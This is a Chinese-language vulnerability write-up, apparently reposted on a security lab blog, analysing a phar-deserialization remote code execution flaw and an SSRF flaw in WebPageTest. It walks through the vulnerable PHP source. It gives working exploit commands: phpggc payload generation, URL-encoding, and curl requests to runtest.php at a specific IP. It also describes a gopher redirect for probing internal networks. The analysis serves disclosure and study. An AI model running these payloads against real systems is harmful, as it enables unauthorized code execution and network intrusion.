WebPageTest
WebPageTest是一款非常专业的 Web 页面性能分析工具,它可以对检测分析的环境配置进行高度自定义化。2022年9月23日互联网上公开WebPageTest的多个漏洞。攻击者可利用runtest.php,构造恶意请求触发phar反序列化,执行任意代码控制服务器。同时可以借助jeeginfo.php触发ssrf漏洞,从而扫描内网获取敏感信息。本次要分析的两个漏洞源于阿里云漏洞库,编号分别为AVD-2022-1474319和AVD-2022-1474320。
AVD-2022-1474319
这是一个触发phar反序列化从而导致恶意代码执行的漏洞。
github的修复提交:https://github.com/WPO-Foundation/webpagetest/commit/6c8e1e675af09fe49fb0580354534feb6b105c95
根据修复可以大概猜到,该漏洞是由于rkey参数过滤不严导致的。下面是对该漏洞的一个具体分析。
漏洞发生在www/runtest.php中的RelayTest函数中。
function RelayTest() { global $error; global $locations; $error = null; $ret = array(); $ret['statusCode'] = 200; $rkey = $_POST['rkey']; $test = json_decode($_POST['testinfo'], true); $test['vd'] = ''; $test['vh'] = ''; $job = trim($_POST['job']); $ini = trim($_POST['ini']); $location = trim($_POST['location']); $test['workdir'] = $locations[$location]['localDir']; ValidateKey($test, $error, $rkey); if( !isset($error) ) { $id = $rkey . '.' . $test['id']; $ret['id'] = $id; $test['job'] = $rkey . '.' . $test['job']; $testPath = './' . GetTestPath($id); @mkdir($testPath, 0777, true); $job = str_replace($test['id'], $id, $job); file_put_contents("$testPath/testinfo.ini", $ini); WriteJob($location, $test, $job, $id); SaveTestInfo($id, $test); } if( isset($error) ) { $ret['statusCode'] = 400; $ret['statusText'] = "Relay: $error"; } header ("Content-type: application/json"); echo json_encode($ret); }
该函数中rkey参数可以被用来写入ini文件,ini文件的内容也是可控且没有过滤的。因此可以考虑写入一个phar文件,进而想办法触发phar反序列化。触发phar反序列化并RCE需要以下条件:
- 可以写入phar文件,并且知道文件的位置
- 具有可以触发phar协议的函数
- 有适当的class可以被用来触发反序列化并导致代码执行
目前第1个条件是满足的,继续深入研究rkey的处理过程可以发现条件2也可以满足。
对rkey的处理过程如下:
if( !isset($error) ) { $id = $rkey . '.' . $test['id']; $ret['id'] = $id; $test['job'] = $rkey . '.' . $test['job']; $testPath = './' . GetTestPath($id); @mkdir($testPath, 0777, true); $job = str_replace($test['id'], $id, $job); file_put_contents("$testPath/testinfo.ini", $ini); WriteJob($location, $test, $job, $id); SaveTestInfo($id, $test); }
该部分将rkey参数写入id参数,id参数交给savetestinfo函数处理。rkey相当于一个文件路径的前缀,文件路径的形式是xxx.xxx。
接下来跟进SaveTestInfo函数,在SaveTestInfo函数中,恰好有可以触发phar协议的函数,也就是is_dir。如果$testPath的值为phar://xxx/xxx/xxx的形式,就可以触发phar协议,读取到我们构造的特定的testinfo.ini,从而打到反序列化的目的。
function SaveTestInfo($testIdOrPath, &$testInfo) { if (isset($testInfo) && is_array($testInfo) && isset($testIdOrPath) && strlen($testIdOrPath)) { $testPath = $testIdOrPath; if (strpos($testPath, '/') === false) { $id = $testPath; $testPath = ''; if (ValidateTestId($id)) $testPath = './' . GetTestPath($id); } if (is_dir($testPath)) { $testPath = realpath($testPath); $lock = Lock("Test Info $testPath"); if ($lock) { gz_file_put_contents("$testPath/testinfo.json", json_encode($testInfo)); Unlock($lock); } } } }
顺便总结下能触发phar协议的函数
- fimeatime / filectime / filemtime
- stat / fileinode / fileowner / filegroup / fileperms
- file / file_get_contents / readfile / fopen
- file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
- parse_ini_file
- unlink
- copy
满足了前两个条件,现在只需要解决POP链这一个问题了。SaveTestInfo函数存在于commo_lib.inc文件中,inc文件需要spl_autoloaded_register来实现类的加载,因此可以找到spl_autoloaded_register函数所在的位置,看一看有哪些class会被加载。恰好在www/lib/aws/aws-autoloader.php中调用了spl_autoloaded_register,并且加载了monolog。monolog是一个PHP编写的日志应用,有很多的POP链可以用。可以借助phpggc来生成payload。
![图片[1]-webpagetest反序列化及ssrf漏洞分析-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/11/d2b5ca33bd221947-1024x579.png)
至此,所有触发phar反序列化的条件都满足了,后面主要是注意一些细节。比如借助rkey参数生成的路径是xx.的形式,末尾有一个小数点,所以在触发的时候需要注意。
借助phpggc程序生成执行id命令的phar文件并发送:
./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini #进行url编码 URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g") #写入文件 curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o - #触发反序列化 curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
下面是攻击的效果,可以看到成功执行了id命令。
![图片[2]-webpagetest反序列化及ssrf漏洞分析-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/11/d2b5ca33bd222001-1024x285.png)
AVD-2022-1474320
这是一个SSRF漏洞,漏洞产生在www/jpeginfo/jpeginfo.php文件中。
该部分接受了一个url参数,通过将该参数的值进行sha1处理,并将得到的值每4个字符分为一组,可以得到一个文件存储的路径,具体处理过程见GetPath函数。
if (array_key_exists('url', $_REQUEST) && strlen($_REQUEST['url'])) { $url = trim($_REQUEST['url']); echo "<!DOCTYPE html>\n<html>\n<head>\n</head>\n<body>\n"; echo "JPEG Analysis for " . htmlspecialchars($url) . "<br><br>"; $id = sha1($url); $path = GetPath($id); if (!is_file($path)) GetUrl($url, $path); if (is_file($path)) AnalyzeFile($path); echo "</body>\n</html>"; }
GetPath函数内容如下:
function GetPath($id) { if (!is_dir('./results/jpeginfo')) mkdir('./results/jpeginfo'); $path = realpath('./results/jpeginfo') . '/' . implode('/', str_split(trim($id), 4)); return $path; }
得到路径之后,会执行GetUrl操作。该函数主要是判断用到的协议是不是http协议,如果url的开头不是http,则会自动加上http://,因此url必须是http://开头才有机会被利用。
function GetUrl($url, $path) { $ret = false; if (strlen($url)) { if (strcasecmp(substr($url, 0, 4), 'http')) $url = "http://$url"; global $imageFile; $dir = dirname($path); if (!is_dir($dir)) mkdir($dir, 0777, true); $imageFile = fopen($path, 'w'); if ($imageFile !== false) { if (FetchUrl($url)) { fclose($imageFile); if (filesize($path)) $ret = true; } else { fclose($imageFile); echo "Error fetching " . htmlspecialchars($url); } if (!$ret) unlink($path); } else echo "Error creating temp file"; } else echo "Invalid URL"; return $ret; }
在处理完UR来的格式之后会创建对应的目录,并执行FetchUrl的操作。该函数主要是通过curl访问目标url得到相应的内容。
function FetchUrl($url) { $ret = false; if (function_exists('curl_init')) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'); curl_setopt($curl, CURLOPT_FILETIME, true); curl_setopt($curl, CURLOPT_FAILONERROR, true); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl, CURLOPT_DNS_CACHE_TIMEOUT, 30); curl_setopt($curl, CURLOPT_MAXREDIRS, 10); curl_setopt($curl, CURLOPT_TIMEOUT, 30); curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_setopt($curl, CURLOPT_WRITEFUNCTION, 'WriteCallback'); if (curl_exec($curl) !== false) $ret = true; curl_close($curl); } return $ret; }
值得注意的是,curl中设置了允许重定向:
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
如果我们设置一个恶意的服务器,该服务器某个url被访问之后会给出一个类似于下面的响应header:
Location: gopher://xxx:port
则可以借助gopher协议触发SSRF漏洞,探测内网信息。
本文作者:KevinBruce
帮我转载于先知社区,如有侵权请联系删除
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下